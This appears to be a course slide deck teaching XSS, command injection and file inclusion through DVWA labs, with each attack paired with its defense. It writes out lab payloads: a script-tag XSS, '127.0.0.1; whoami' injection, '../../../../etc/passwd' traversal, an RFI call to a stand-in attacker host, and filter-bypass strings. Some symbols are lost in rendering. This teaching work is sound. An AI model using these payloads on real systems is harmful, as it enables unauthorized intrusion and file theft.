

Common Web Attacks

Unit 11 — XSS, Command Injection & File Inclusion

What happens when an app trusts input it should not trust?

The one idea behind this whole unit

Almost every bug here has the same root cause — **unvalidated input** — and the same cure — **validate, encode, and isolate** that input.

For **every attack** we study, we study its **defense**. The point of learning to break a web app is learning to build one that doesn't break.

What we'll do this week

- **Day 1:** Root cause (input validation) + intro to XSS
- **Day 2:** XSS hands-on (reflected & stored) + XSS defenses
- **Day 3:** Command injection + its defenses
- **Day 4:** File inclusion (LFI/RFI) + directory traversal + defenses
- **Day 5:** Raise the security level + client-side awareness + finish the lab

Learning objectives

By the end of this unit you can:

- **Explain** why untrusted input is the root cause behind XSS, command injection, and file inclusion.
- **Distinguish** the three types of XSS: reflected, stored, DOM-based.
- **Demonstrate** reflected and stored XSS in DVWA (low security) and explain the payload.
- **Describe** XSS defenses — **output encoding** and **CSP** — and why each works.
- **Demonstrate** command injection and explain how input reached an OS command.

Learning objectives (continued)

- **Describe** command-injection defenses (safe APIs, allow-listing, least privilege).
- **Demonstrate** LFI with directory traversal, and distinguish LFI from RFI.
- **Describe** file-inclusion defenses (validate paths, allow-list, disable remote includes).
- **Observe** how raising DVWA's **security level** (stronger validation) blocks each attack.
- **Describe** at an awareness level what **client-side attacks** are.
- **Pair every attack with its defense** in writing.

Vocabulary — input & XSS (1 of 3)

Term	Meaning
Input validation	Checking input is the expected type/length/format before trusting it.
Untrusted input	Any data from the user/outside world — must be checked before use.
Allow-list	Only permit known-good values; safer than blocking bad ones.
Sanitization	Cleaning input by removing/neutralizing dangerous characters.
Cross-Site Scripting (XSS)	A bug that runs an attacker's JavaScript in another user's browser.
Payload	The crafted input that triggers a bug (e.g., a <code><script></code> tag).

6

Vocabulary — XSS types & defenses (2 of 3)

Term	Meaning
Reflected XSS	Malicious input bounces straight back in the response (via a URL/parameter).
Stored XSS	Malicious input is saved and runs for everyone who views it later.
DOM-based XSS	XSS happening entirely in the browser when client-side JS mishandles input.
Output encoding	Converting characters so the browser shows them as text, not code.

7

Content Security Policy (CSP) A response header telling the browser which scripts may run.

Vocabulary — injection & inclusion (3 of 3)

Term	Meaning
Command injection	User input passed into an OS command, letting an attacker run commands.
Shell	The program that runs OS commands (like Bash); the injection danger zone.
Safe API / parameterization	Calling code so input is treated as data , never as a command.
Local File Inclusion (LFI)	Loads a file already on the server (e.g., <code>/etc/passwd</code>).
Remote File Inclusion (RFI)	Loads a file from a remote URL the attacker controls.

Ethics & authorization

These attacks affect *other people*.



The rules for this unit

These attacks, against a **real** site, can:

- **Steal other people's sessions** (XSS)
- **Run commands on someone else's server** (command injection)
- **Read files that aren't yours** (file inclusion)
- Targets are **DVWA and authorized TryHackMe rooms ONLY** — apps built to be broken.
- DVWA runs in an **isolated lab** — never the internet, never the school network.
- Doing any of this without **written permission** is a crime under the CFAA. No "I was curious" exception.

10

Day 1

Root cause: input validation, and intro to XSS

The shared root cause

```
[ user input ] → [ app uses it WITHOUT checking ] → [ bug ]
```

- XSS: input lands in a **page** → the browser runs it as **code**.
- Command injection: input lands in an **OS command**.
- File inclusion: input lands in a **file path**.

Same villain every time: **untrusted input the app trusted**.

What is XSS?

Cross-Site Scripting lets an attacker's **JavaScript** run in someone else's browser.

Why it's dangerous:

- Steal **cookies / sessions** → impersonate the victim
- **Deface** the page
- **Keylog** what the victim types

The browser can't tell *your* `<script>` from the site's own — unless the app stops it.

The three types of XSS

Type	Where it lives	Who it hits
Reflected	Bounces back in the immediate response (URL/param)	Whoever opens the crafted link
Stored	Saved by the app (database)	Every future visitor
DOM-based	Entirely in the browser's JavaScript	Whoever loads the page

Stored is the most dangerous — it hits people who never clicked anything.

Day 1 guided practice & lab setup

1. Match scenarios to **reflected** / **stored** / **DOM** and predict who is affected.
2. Set up the **DVWA lab** (Setup + Step 1). Confirm Security Level = **Low**.
3. Read the **Safety reminder** aloud and write your scope statement.

Lab Step 1 — confirm the "input" idea:

Browse DVWA with Dev Tools/Burp open. **Record** two input fields and predict what could go wrong if the app trusts them blindly.

Day 1 exit ticket

In one sentence, what is the difference between **reflected** and **stored** XSS?

Day 2

XSS hands-on + the XSS defenses

Reflected XSS — the payload (lab-only)

On DVWA's **XSS (Reflected)** page, the app echoes your name straight back. A harmless proof payload:

```
<script>alert(1)</script>
```

- If an **alert box** pops, **your JavaScript ran** — that's XSS.
- "Reflected" = it bounced back in **this** response; affects whoever opens the crafted input.

Lab demonstration only, against DVWA. Never a real site.

Stored XSS — the payload (lab-only)

On DVWA's **XSS (Stored)** guestbook, submit:

```
<script>alert(1)</script>
```

- Reload the page — it fires **again**, because it was **saved** in the database.
- Now it runs for **every future visitor**, not just you.

This is why stored XSS is more dangerous: it hits people who never consented.

DEFENSE: output encoding

Turn dangerous characters into harmless text so the browser **displays** them instead of **running** them:

```
<script> → &lt;script&gt;
```

Character	Encoded as
<	<
>	>
"	"
&	&

DEFENSE: Content Security Policy (CSP)

A **response header** that tells the browser which scripts are allowed to run:

```
Content-Security-Policy: default-src 'self'; script-src 'self'
```

- Blocks inline `<script>` and scripts from other origins.
- Even if a payload sneaks in, the browser **refuses to run it**.
- A **second layer** — defense-in-depth — not a replacement for encoding.

Encode on output **and** add a CSP. Validate/sanitize on save for stored XSS.

Day 2 lab & exit ticket

Lab Steps 2-3: trigger a reflected and a stored XSS at low security. Record the payload, the page, and what it did. Add the XSS row to your **Attack** ↔ **Defense** chart.

Attack	Defense
Reflected XSS	Output encoding + CSP
Stored XSS	Encode on output + validate/sanitize on save + CSP

Exit ticket: *How does output encoding stop XSS? Answer in one sentence.*

Day 3

Command injection + its defenses

What is command injection?

When an app hands **user input** to the operating-system **shell**, an attacker can chain extra commands.

DVWA's **Command Injection** page runs `ping` on an address you enter:

```
Behind the scenes:  ping -c 4 <your input>
```

Type a normal value first to prove input reaches an OS command:

```
127.0.0.1
```


The injection (lab-only)

Append an extra command with a chaining character:

```
127.0.0.1; whoami
```

What the server runs:

```
ping -c 4 127.0.0.1; whoami
```

- `;` ends the ping and starts **your** command.
- Output shows the user the web server runs as (e.g., `www-data`).

Input reached the **shell** — now the attacker runs anything. (Windows image uses

DEFENSE: command injection

Defense	Why it works
Don't call the shell	No shell = no shell injection.
Safe / parameterized API	Input is passed as data (an argument) , never parsed as a command.
Validate / allow-list	Only allow valid IP characters (digits and dots) — <code>;</code> is rejected.
Least privilege	The web account can't do much even if injection succeeds.

Treat input as **data**, never as a **command**. Layer these (defense-in-depth).

Day 3 lab & exit ticket

Lab Step 4: perform the command injection at low security on the ping page. Record the input, the extra command, and its output. Add the row to your chart:

Attack	Defense
Command injection	Avoid the shell; safe/parameterized API; allow-list input; least privilege

Exit ticket: *Name one defense against command injection and say why it works.*

Day 4

File inclusion (LFI/RFI) + directory traversal + defenses

What is file inclusion?

The app **loads a file chosen by user input**:

```
http://app/index.php?page=home.php
```

If the app builds the file path straight from `page=`, you can ask it for files it never meant to share.

Two flavors:

- **LFI** — a file **already on the server**
- **RFI** — a file from a **remote attacker URL**

Directory traversal with

-  means "**go up one directory.**"
- Stack them to climb out of the web folder to anywhere on disk.

```
?page=../../../../etc/passwd
```

- Each  climbs one level up.
-  lists every user account on a Linux server.

 is called **directory traversal** — escaping the intended folder.

LFI demo (lab-only)

On DVWA's **File Inclusion** page, change the parameter:

```
?page=../../../../etc/passwd
```

- The contents of a file you should **not** be able to read appear in the page.
- **Record:** the path, what `../../../../` did, and what you could read.

LFI loaded a file **already on the server**. Lab demonstration only.

LFI vs RFI

	LFI	RFI
File source	Already on the server	A remote attacker URL
Example	<code>?page=../../../../etc/passwd</code>	<code>?page=http://attacker/evil.txt</code>
Worst case	Read sensitive files	Run attacker's code on the server
Severity	High	Critical

RFI is worse because it can execute **attacker-supplied code** — that's what `allow_url_include=Off` prevents.

DEFENSE: file inclusion

Defense	Why it works
Validate / allow-list the file	Only known-safe files (e.g., <code>home</code> , <code>about</code>) can ever load.
Never build paths from raw input	Map a code to a path instead of concatenating user text.
Disable remote includes (<code>allow_url_include=Off</code>)	Stops RFI from loading attacker URLs entirely.

The app should only ever load files **it already knows are safe**.

Day 4 lab & exit ticket

Lab Step 5: perform an LFI with directory traversal at low security. Record the path and what you could read. Add the row to your chart:

Attack	Defense
LFI / RFI	Validate/allow-list the file; never build paths from raw input; disable remote includes

Exit ticket: *What does `../` do in a file path, and what is it called?*

Day 5

Raise the security level + client-side awareness +
finish the lab

The payoff: raise the security level

Lab Step 6: set DVWA Security to **Medium** (then **High**) and re-run the **same** payloads.

- Most or all attacks now **fail** — because higher levels add **input validation/encoding**.
- If your attack "stops working," that is the **lesson**, not a bug.

The cure for all three attacks is the same idea: **validate, encode, and isolate untrusted input**.

Why blacklists aren't enough

- **Medium** often does naive filtering — strips `../` once, blocks the word `<script>`.
- Blacklists can be **bypassed**: `.....//` survives a single `../` strip; `<scr<script>ipt>` dodges a one-pass filter.
- **Allow-listing** and **encoding** are stronger: define what's **allowed**, not what's banned.

This is why **High/Impossible** uses proper validation and encoding — and blocks the attacks.

Client-side attacks (awareness)

	Server-side (this unit)	Client-side
Target	The server	The user's machine/browser
Examples	XSS, cmd injection, LFI	Malicious documents, drive-by scripts, social engineering

- We attacked **server-side** bugs.
- **Client-side** attacks aim at the person, not the server.
- Full client-side exploitation is out of scope for now — just know the difference.

Day 5 lab & exit ticket

Lab Step 6 (finish): re-run each attack at a higher security level; record whether/how it was blocked. Complete the **Attack**  **Defense chart**.

Exit ticket: submit the completed chart + one sentence on *the common root cause behind all three attacks*.

The complete Attack ↔ Defense chart

Attack	Primary defense	Why it works
Reflected/Stored XSS	Output encoding + CSP	Browser shows input as text, never runs it
Command injection	Safe API + allow-list + least privilege	Input treated as data, not a command
LFI / RFI	Allow-list files + disable remote includes	App only loads known-safe files

One root cause (**untrusted input**), one cure (**validate, encode, isolate**).

Lab deliverables

- **Web-vuln observation sheet:** one entry per attack — page, payload, result at **low**, result at **higher** level, and the **defensive fix**.
- **Attack**  **↔ Defense chart** for all three classes.
- A 3–4 sentence reflection: *the single shared root cause and the single shared cure*.

These observations feed the **Module 3 web-vuln writeup project** — be thorough.

Recap — the big ideas

- **Untrusted input** is the root cause of XSS, command injection, and file inclusion.
- **XSS** runs attacker JS in a victim's browser — stored is worst.
- **Command injection** runs attacker commands via the shell.
- **LFI/RFI** loads files the app should never share.
- The cure is always **validate, encode, isolate** — enforced **server-side**, in layers.

Discussion prompt

A stored-XSS payload you plant runs in **every** future visitor's browser — including people who never consented.

Why is **stored** XSS considered more dangerous than **reflected** XSS, and what makes attacks that affect **other users** an especially serious ethical line to respect?

Next up

Unit 12: SQL Injection — how a single quote can dump an entire database, and exactly how a developer stops it.

Curriculum by AJ Hammond — PNPT, CRT0, OSCP, BSCP

github.com/ajm4n · linkedin.com/in/aj-hammond